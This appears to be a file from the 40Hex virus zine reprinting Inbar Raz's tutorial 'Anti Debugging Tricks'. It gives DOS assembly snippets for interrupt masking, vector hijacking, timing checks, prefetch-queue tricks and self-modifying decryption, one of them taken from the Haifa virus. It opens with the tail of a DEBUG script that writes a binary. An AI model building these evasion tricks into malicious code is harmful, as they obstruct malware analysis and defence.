e 08C0 E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA
rcx
07D0
w
q
-------------------------------------------------------------------------------
DA
40Hex Number 9 Volume 2 Issue 5 File 004
I picked this up in a collection of clips from the Fidonet 80xxx echo,
figured it might interest someone.
--Hawkmoon
===============================================================================
Anti Debugging Tricks
By:
Inbar Raz
Release number 2
Today's anti debugging tricks devide into two categories:
1. Preventive actions;
2. Self-modifying code.
Most debugging tricks, as for today, are used within viruses, in order to
avoid dis-assembly of the virus, as it will be exampled later in this file.
Another big part of anti debugging tricks is found with software protection
programs, what use them in order to make the cracking of the protection
harder.
1. Preventive actions:
----------------------
Preventive actions are, basically, actions that the program takes in order
to make the user unable to dis-assemble the code or trace it while running.
1.1. Interrupt disable:
Interrupt disable is probably the most common form of anti-debugging
trick. It can be done in several ways:
1.1.1. Hardware masking of interrupt:
In order to avoid tracing of a code, one usually disables the
interrupt via the 8259 Interrupt Controller, addressed by read/write
actions to port 21h. The 8259 Interrupt Controller controls the IRQ
lines. This means that any IRQ between 0 and 7 may be disabled by
this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
keyboard interrupt, you may disable the keyboard without the
debugger being able to bypass it.
Example:
CS:0100 E421 IN AL,21
CS:0102 0C02 OR AL,02
CS:0104 E621 OUT 21,AL
Just as a side notice, the keyboard may be also disabled by
commanding the Programmable Perepheral Interface (PPI), port 61h.
Example:
CS:0100 E461 IN AL,61
CS:0102 0C80 OR AL,80
CS:0104 E661 OUT 61,AL
1.1.2. Software masking of interrupt:
This is quite an easy form of anti-debugging trick. All you have
to do is simply replace the vectors of interrupts debuggers use/any
other interrupt you will not be using or expecting to happen. Do not
forget to restore the original vectors when you are finished.
It is adviseable to use manual change of vector, as shown below,
rather than to change it using interrupt 21h service 25h, because
any debugger that has gained control of interrupt 21h may replace
your vector with the debugger's. The example shows an interception
of interrupt 03h - the breakpoint interrupt.
Example:
CS:0100 EB04 JMP 0106
CS:0102 0000 ADD [BX+SI],AL
CS:0104 0000 ADD [BX+SI],AL
CS:0106 31C0 XOR AX,AX
CS:0108 8EC0 MOV ES,AX
CS:010A 268B1E0C00 MOV BX,ES:[000C]
CS:010F 891E0201 MOV [0102],BX
CS:0113 268B1E0E00 MOV BX,ES:[000E]
CS:0118 891E0401 MOV [0104],BX
CS:011C 26C7064C000000 MOV Word Ptr ES:[000C],0000
CS:0123 26C7064E000000 MOV Word Ptr ES:[000E],0000
1.1.3. Vector manipulation
This method involves manipulations of the interrupt vectors,
mainly for proper activation of the algorithm. Such action, as
exampled, may be used to decrypt a code (see also 2.1), using data
stored ON the vectors. Ofcourse, during normal operation of the
program, vectors 01h and 03h are not used, so unless you are trying
to debug such a program, it works fine.
Example:
CS:0100 31C0 XOR AX,AX
CS:0102 8ED0 MOV SS,AX
CS:0104 BC0600 MOV SP,0006
CS:0107 8B0E0211 MOV CX,[1102]
CS:010B 50 PUSH AX
CS:010C 21C8 AND AX,CX
CS:010E 01C5 ADD BP,AX
CS:0110 58 POP AX
CS:0111 E2F8 LOOP 010B
1.1.4. Interrupt replacement
This is a really nasty trick, and it should be used ONLY if you
are ABSOLUTELY sure that your programs needs no more debugging. What
it does is simply copy the vectors of some interrupts you will be
using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
that do not occure during normal operation of the program. If the
user wants to debug the program, he would have to search for every
occurance of INT 01, and replace it with the appropriate INT
instruction.
Example:
CS:0100 FA CLI
CS:0101 31C0 XOR AX,AX
CS:0103 8EC0 MOV ES,AX
CS:0105 26A18400 MOV AX,ES:[0084]
CS:0109 26A30400 MOV ES:[0004],AX
CS:010D 26A18600 MOV AX,ES:[0086]
CS:0111 26A30600 MOV ES:[0006],AX
CS:0115 B44C MOV AH,4C
CS:0117 CD01 INT 01
1.2. Time watch:
This may be a less common method, but it is usefull against debuggers
that disable all interrupts except for the time that the program is
executed, such as Borland's Turbo Debugger. This method simply retains
the value of the clock counter, updated by interrupt 08h, and waits in an
infinite loop until the value changes. Another example is when you mask
the timer interrupt by ORing the value INed from port 21h with 01h and
then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
this method is usefull only against RUN actions, not TRACE/PROCEED ones.
Example:
CS:0100 2BC0 SUB AX,AX
CS:0102 FB STI
CS:0103 8ED8 MOV DS,AX
CS:0105 8A266C04 MOV AH,[046C]
CS:0109 A06C04 MOV AL,[046C]
CS:010C 3AC4 CMP AL,AH
CS:010E 74F9 JZ 0109
1.3. Fool the debugger:
This is a very nice technique, that works especially and only on those
who use Turbo Debugger or its kind. What you do is init a jump to a
middle of an instruction, whereas the real address actually contains
another opcode. If you work with a normal step debugger such as Debug or
SymDeb, it won't work since the debugger jumps to the exact address of
the jump, and not to the beginning of an instruction at the closest
address, like Turbo Debugger.
Example:
CS:0100 E421 IN AL,21
CS:0102 B0FF MOV AL,FF
CS:0104 EB02 JMP 0108
CS:0106 C606E62100 MOV Byte Ptr [21E6],00
CS:010B CD20 INT 20
Watch this:
CS:0108 E621 OUT 21,AL
1.4. Cause debugger to stop execution:
This is a technique that causes a debugger to stop the execution of a
certain program. What you need to do is to put some INT 3 instructions
over the code, at random places, and any debugger trying to run will stop
there. Since this techniqu causes the CPU to stop executing the program,
and therefore clear the Prefetch Instruction Queue, it is adviseable to
use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
the example shows how to use these two tricks together.
Example:
CS:0100 B97502 MOV CX,0275
CS:0103 BE9001 MOV SI,0190
CS:0106 89F7 MOV DI,SI
CS:0108 AC LODSB
CS:0109 C70610013473 MOV Word Ptr [0110],7334
CS:010F CC INT 3
CS:0110 2406 AND AL,06
CS:0112 AA STOSB
CS:0113 C70610012406 MOV Word Ptr [0110],0624
CS:0119 E2ED LOOP 0108
1.5. Halt TD386 V8086 mode:
This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
baed on the fact that TD386 does not use INT 00h to detect division by
zero (or register overrun after division, which is treated by the
processor in the same way as in case of division by zero). When TD386
detects a division fault it aborts, reporting about the faulty
division. In real mode (even under a regular debugger), a faulty DIV
instruction will cause INT 00h to be called. Therefore, pointing INT 00h
to the next instruction, will recover from the faulty DIV.
Note: It is very important to restore INT 00h's vector. Otherwise, the
next call to INT 00h will cause the machine to hang.
Example:
CS:0100 31C0 XOR AX,AX
CS:0102 8ED8 MOV DS,AX
CS:0104 C70600001201 MOV WORD PTR [0000],0112
CS:010A 8C0E0200 MOV [0002],CS
CS:010E B400 MOV AH,00
CS:0110 F6F4 DIV AH
CS:0112 B8004C MOV AX,4C00
CS:0115 CD21 INT 21
1.6. Halt any V8086 process:
Another way of messing TD386 is fooling it into an exception.
Unfortunately, this exception will also be generated under any other
program, running at V8086 mode. The exception is exception #13, and its
issued interrupt is INT 0Dh - 13d. The idea is very similar to the
divide by zero trick: Causing an exception, when the exception interrupt
points to somewhere in the program's code. It will always work when the
machine is running in real mode, but never under the V8086 mode.
Note: It is very important to restore the original interrupt vectors.
Otherwise, the next exception will hang the machine.
Example:
CS:0100 31C0 XOR AX,AX
CS:0102 8ED8 MOV DS,AX
CS:0104 C70634001301 MOV WORD PTR [0034],0113
CS:010A 8C0E3600 MOV [0036],CS
CS:010E 833EFFFF00 CMP WORD PTR [FFFF],+00
CS:0113 B8004C MOV AX,4C00
CS:0116 CD21 INT 21
2. Self-modifying code:
-----------------------
2.1. Encryptive/decryptive algorithm:
The first category is simply a code, that has been encrypted, and has
been added with a decryption routine. The trick here is that when a
debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
in the desired address, and once that interrupt is executed, the debugger
regains control of things. If you try to set a breakpoint AFTER the
decryption algorithm, what is usually needed, you will end up putting an
opcode CCh in a place where decryption action is taken, therefore losing
your original CCh in favour of whatever the decryption algorithm makes.
The following example was extracted from the Haifa virus. If you try to
set a breakpoint at address CS:0110, you will never reach that address,
since there is no way to know what will result from the change. Note that
if you want to make the tracing even harder, you should start the
decryption of the code from its END, so it takes the whole operation
until the opcode following the decryption routine is decrypted.
Example:
CS:0100 BB7109 MOV BX,0971
CS:0103 BE1001 MOV DI,0110
CS:0106 91 XCHG AX,CX
CS:0107 91 XCHG AX,CX
CS:0108 2E803597 XOR Byte Ptr CS:[DI],97
CS:010C 47 INC DI
CS:010D 4B DEC BX
CS:010E 75F6 JNZ 0106
CS:0110 07 POP ES
CS:0111 07 POP ES
2.2. Self-modifying code:
2.2.1. Simple self-modification:
This method implements the same principle as the encryption
method: Change the opcode before using it. In the following example,
we change the insruction following the call, and therefore, if you
try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
will not succeed, since the debugger will put its CCh on offset 104h,
but when the routine runs, it overwrites location 104h.
Example:
CS:0100 E80400 CALL 0107
CS:0103 CD20 INT 20
CS:0105 CD21 INT 21
CS:0107 C7060301B44C MOV Word Ptr [0103],4CB4
CS:010D C3 RET
Watch this:
CS:0103 B44C MOV AH,4C
2.2.2. Prefetch Instruction Queue (PIQ) manipulation:
This method is a bit similar to (1.3), but it fools ANY debugger,
or any other process that executes one operation at a time. The PIQ
is an area within the CPU, that pre-fethces, ie. takes in advance,
instructions from memory, so when they need to be executed, it
would take less time to get them, since they are already in the CPU.
The PIQ length ranges from 6 or 4 in old computers, up to as high as
25 in new ones. What the trick does is change the FOLLOWING opcode
to something meaningless. If you are debugging, then the change will
take place BEFORE the instructions is executed or fetched. If you
run the program NORMALLY, by the time you change the opcode, it will
have already been fetched.
Example:
CS:0100 B97502 MOV CX,0275
CS:0103 BE9001 MOV SI,0190
CS:0106 89F7 MOV DI,SI
CS:0108 AC LODSB
CS:0109 C7060F012406 MOV Word Ptr [010F],0624
CS:010F 3473 XOR AL,73
CS:0111 AA STOSB
CS:0112 C7060F012406 MOV Word Ptr [010F],0624
CS:0118 E2EE LOOP 0108
Watch this:
CS:010F 2406 AND AL,06